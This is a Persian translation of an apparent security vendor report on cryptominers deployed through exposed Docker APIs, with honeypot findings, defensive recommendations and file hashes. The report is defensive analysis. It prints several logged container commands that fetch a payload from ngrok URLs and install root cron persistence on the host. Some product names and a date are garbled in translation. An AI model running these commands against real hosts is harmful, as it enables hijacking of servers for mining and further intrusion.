
ما دادههای جمعآوریشده را با استفاده از ظروف honeypot، که برای ردیابی تهدیدات ایجاد کردیم، تجزیه و تحلیل کردیم. و ما فعالیت قابل توجهی را از ماینرهای ناخواسته یا غیرمجاز ارزهای دیجیتال شناسایی کردیم که به عنوان کانتینرهای سرکش با استفاده از یک تصویر منتشر شده توسط جامعه در Docker Hub مستقر شده بودند. این تصویر به عنوان بخشی از سرویسی استفاده میشود که ماینرهای مخرب ارزهای دیجیتال را ارائه میدهد.
علاوه بر این، برنامه هایی برای کار با شبکه ها برای نفوذ به ظروف و برنامه های همسایه باز نصب شده است.
ما هانی پات های خود را همانطور که هست می گذاریم، یعنی با تنظیمات پیش فرض، بدون هیچ گونه اقدامات امنیتی یا نصب بعدی نرم افزار اضافی. لطفاً توجه داشته باشید که Docker توصیه هایی برای راه اندازی اولیه برای جلوگیری از خطاها و آسیب پذیری های ساده دارد. اما هانیپاتهای مورد استفاده، کانتینرهایی هستند که برای شناسایی حملاتی که هدف آنها پلتفرم کانتینریسازی است، طراحی شدهاند، نه برنامههای داخل کانتینرها.
فعالیت مخرب شناسایی شده نیز قابل توجه است زیرا به آسیبپذیری نیاز ندارد و همچنین مستقل از نسخه Docker است. یافتن یک تصویر کانتینر با پیکربندی نادرست و در نتیجه باز تمام چیزی است که مهاجمان برای آلوده کردن بسیاری از سرورهای باز به آن نیاز دارند.
Docker API بسته نشده به کاربر اجازه می دهد تا طیف وسیعی از موارد را انجام دهد از جمله دریافت لیستی از کانتینرهای در حال اجرا، دریافت گزارش از یک کانتینر خاص، شروع، توقف (از جمله اجباری) و حتی ایجاد یک کانتینر جدید از یک تصویر خاص با تنظیمات مشخص.

در سمت چپ روش تحویل بدافزار است. در سمت راست، محیط مهاجم قرار دارد که امکان پخش تصاویر را از راه دور فراهم می کند.

توزیع بر اساس کشور 3762 API Docker باز. بر اساس جستجوی شدان مورخ 12.02.2019/XNUMX/XNUMX
گزینه های زنجیره حمله و بار
فعالیت مخرب نه تنها با کمک Honeypot ها شناسایی شد. دادههای Shodan نشان میدهد که تعداد APIهای Docker در معرض (نمودار دوم را ببینید) از زمانی که یک کانتینر پیکربندی نادرست را بررسی کردیم که بهعنوان پلی برای استقرار نرمافزار استخراج ارز دیجیتال Monero استفاده میشود، افزایش یافته است. در اکتبر سال گذشته (2018، داده های فعلی تقریبا مترجم) تنها 856 API باز وجود داشت.
بررسی سیاهههای مربوط به Honeypot نشان داد که استفاده از تصویر ظرف نیز با استفاده از آن مرتبط است ، ابزاری برای ایجاد اتصالات ایمن یا ارسال ترافیک از نقاط در دسترس عموم به آدرس ها یا منابع مشخص شده (مثلاً میزبان محلی). این به مهاجمان این امکان را می دهد که به صورت پویا URL ها را هنگام تحویل بار به یک سرور باز ایجاد کنند. در زیر نمونههای کدی از گزارشها وجود دارد که سوءاستفاده از سرویس ngrok را نشان میدهد:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”همانطور که می بینید، فایل های آپلود شده از URL هایی که دائما در حال تغییر هستند دانلود می شوند. این URL ها دارای تاریخ انقضا کوتاهی هستند، بنابراین پس از تاریخ انقضا نمی توان بارهای پرداختی را دانلود کرد.
دو گزینه برای بارگذاری اطلاعات وجود دارد. اولین گزینه، یک ماینر کامپایلشده با فرمت ELF برای Linux (با نام Coinminer.SH.MALXMR.ATNO شناسایی شده است) که به استخر استخراج متصل میشود. مورد دوم یک اسکریپت (TrojanSpy.SH.ZNETMAP.A) است که برای به دست آوردن ابزارهای شبکهای خاص که برای اسکن محدودههای شبکه و سپس جستجوی اهداف جدید استفاده میشوند، طراحی شده است.
اسکریپت dropper دو متغیر را تنظیم می کند که سپس برای استقرار ماینر ارز دیجیتال استفاده می شود. متغیر HOST حاوی URL است که فایل های مخرب در آن قرار دارند و متغیر RIP نام فایل (در واقع هش) ماینر است که قرار است مستقر شود. متغیر HOST هر بار که متغیر هش تغییر می کند تغییر می کند. این اسکریپت همچنین سعی می کند بررسی کند که هیچ ماینر ارز دیجیتال دیگری روی سرور مورد حمله اجرا نمی شود.

نمونههایی از متغیرهای HOST و RIP، و همچنین یک قطعه کد مورد استفاده برای بررسی اینکه هیچ ماینر دیگری در حال اجرا نیست
قبل از اجرای ماینر، نام آن به nginx تغییر میکند. نسخههای دیگر این اسکریپت، نام ماینر را به سایر سرویسهای قانونی که ممکن است در محیط وجود داشته باشند، تغییر میدهند. Linuxاین معمولاً برای دور زدن بررسیهای موجود در لیست فرآیندهای در حال اجرا کافی است.
اسکریپت جستجو نیز دارای ویژگی هایی است. برای استقرار ابزارهای لازم با همان سرویس URL کار می کند. از جمله zmap باینری است که برای اسکن شبکه ها و به دست آوردن لیستی از پورت های باز استفاده می شود. این اسکریپت همچنین باینری دیگری را بارگیری می کند که برای تعامل با سرویس های یافت شده و دریافت بنرها از آنها برای تعیین اطلاعات اضافی در مورد سرویس یافت شده (مثلاً نسخه آن) استفاده می شود.
اسکریپت همچنین برخی از محدوده های شبکه را برای اسکن از قبل تعیین می کند، اما این بستگی به نسخه اسکریپت دارد. همچنین پیش از اجرای اسکن، پورت های مورد نظر را از سرویس ها (در این مورد، Docker) تنظیم می کند.
به محض اینکه اهداف بالقوه پیدا شوند، بنرها به طور خودکار از روی آنها حذف میشوند. این اسکریپت همچنین اهداف را بر اساس سرویسها، برنامهها، کامپوننتها یا پلتفرمهایی که به آنها علاقهمند است فیلتر میکند: Redis، Jenkins، Drupal، ماداکس، ، سرویس گیرنده Docker 1.16 و Apache CouchDB. اگر سرور اسکن شده با هر یک از آنها مطابقت داشته باشد، در یک فایل متنی ذخیره می شود که مهاجمان می توانند بعداً از آن برای تجزیه و تحلیل و هک بعدی استفاده کنند. این فایل های متنی از طریق لینک های پویا در سرورهای مهاجمان آپلود می شوند. یعنی برای هر فایل از یک URL جداگانه استفاده می شود که به این معنی است که دسترسی بعدی مشکل است.
همانطور که در دو کد بعدی مشاهده می شود، بردار حمله یک تصویر Docker است.

در بالا تغییر نام به یک سرویس قانونی، و در پایین نحوه استفاده از zmap برای اسکن شبکه ها است.

در بالا محدوده های شبکه از پیش تعریف شده وجود دارد، در پایین پورت های خاصی برای جستجوی خدمات، از جمله Docker وجود دارد.

اسکرین شات نشان می دهد که تصویر alpine-curl بیش از 10 میلیون بار دانلود شده است
بر اساس آلپاین Linux و curl، یک ابزار CLI با مصرف بهینه منابع برای انتقال فایلها از طریق پروتکلهای مختلف، میتواند کامپایل شود. . همانطور که در تصویر قبلی مشاهده می کنید، این تصویر تاکنون بیش از 10 میلیون بار دانلود شده است. تعداد زیادی از دانلودها ممکن است به معنای استفاده از این تصویر به عنوان یک نقطه ورودی باشد؛ این تصویر بیش از شش ماه پیش به روز شد؛ کاربران تصاویر دیگر را از این مخزن بارها دانلود نکردند. در داکر - مجموعه ای از دستورالعمل های مورد استفاده برای پیکربندی یک کانتینر برای اجرای آن. اگر تنظیمات نقطه ورودی نادرست باشد (مثلاً کانتینر از اینترنت باز بماند)، می توان از تصویر به عنوان بردار حمله استفاده کرد. مهاجمان می توانند از آن برای تحویل محموله استفاده کنند، اگر متوجه شوند که کانتینر نادرست پیکربندی شده یا باز است که پشتیبانی نمی شود.
توجه به این نکته ضروری است که این تصویر (alpine-curl) به خودی خود مخرب نیست، اما همانطور که در بالا مشاهده می کنید، می توان از آن برای انجام عملکردهای مخرب استفاده کرد. از تصاویر مشابه داکر نیز می توان برای انجام فعالیت های مخرب استفاده کرد. ما با داکر تماس گرفتیم و روی این موضوع با آنها کار کردیم.
توصیه
باقی برای بسیاری از شرکت ها، به ویژه آنهایی که اجرا می کنند ، بر توسعه و تحویل سریع متمرکز شده است. همه چیز با نیاز به رعایت قوانین ممیزی و نظارت، نیاز به نظارت بر محرمانه بودن داده ها و همچنین آسیب بسیار زیاد ناشی از عدم رعایت آنها تشدید می شود. گنجاندن اتوماسیون امنیتی در چرخه عمر توسعه نه تنها به شما کمک میکند حفرههای امنیتی را پیدا کنید که در غیر این صورت ممکن است شناسایی نشوند، بلکه به شما کمک میکند تا حجم کاری غیر ضروری را کاهش دهید، مانند اجرای ساختهای نرمافزار اضافی برای هر آسیبپذیری کشفشده یا پیکربندی نادرست پس از استقرار یک برنامه.
حادثه ای که در این مقاله مورد بحث قرار گرفته است، نیاز به در نظر گرفتن ایمنی از ابتدا، از جمله توصیه های زیر را برجسته می کند:
- برای مدیران سیستم و توسعه دهندگان: همیشه تنظیمات API خود را بررسی کنید تا مطمئن شوید همه چیز به گونه ای پیکربندی شده است که فقط درخواست های یک سرور یا شبکه داخلی خاص را بپذیرد.
- از اصل حداقل حقوق پیروی کنید: اطمینان حاصل کنید که تصاویر کانتینر امضا و تأیید شده اند، دسترسی به اجزای حیاتی را محدود کنید (سرویس راه اندازی کانتینر) و رمزگذاری را به اتصالات شبکه اضافه کنید.
- دنبال کردن و مکانیسم های امنیتی را فعال کنید، به عنوان مثال. و توکار .
- از اسکن خودکار زمان اجرا و تصاویر برای به دست آوردن اطلاعات اضافی در مورد فرآیندهای در حال اجرا در کانتینر (مثلاً برای تشخیص جعل یا جستجوی آسیب پذیری ها) استفاده کنید. کنترل برنامه و نظارت بر یکپارچگی به ردیابی تغییرات غیرعادی در سرورها، فایلها و مناطق سیستم کمک میکند.
Trendmicro به تیمهای DevOps کمک میکند تا ایمن بسازند، به سرعت راهاندازی کنند و در هر جایی راهاندازی کنند. Trend Micro امنیت قدرتمند، کارآمد و خودکار را در سراسر خط لوله DevOps یک سازمان ارائه میکند و دفاع از تهدیدات متعدد را ارائه میکند. برای محافظت از بارهای کاری فیزیکی، مجازی و ابری در زمان اجرا. همچنین امنیت کانتینر را با и ، که تصاویر کانتینر Docker را برای بدافزار و آسیب پذیری ها در هر نقطه از خط لوله توسعه اسکن می کند تا از تهدیدات قبل از استقرار آنها جلوگیری کند.
نشانه های سازش
هش های مرتبط:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
بر سخنرانان تمرینی نشان میدهند که ابتدا چه تنظیماتی باید انجام شود تا احتمال آن به حداقل برسد یا کاملاً از وقوع وضعیتی که در بالا توضیح داده شد جلوگیری شود. و در 19-21 اوت در یک فشرده آنلاین شما می توانید این مشکلات امنیتی و موارد مشابه را با همکاران و معلمان مجرب در یک میز گرد مطرح کنید، جایی که همه می توانند صحبت کنند و به دردها و موفقیت های همکاران با تجربه گوش دهند.
منبع: www.habr.com
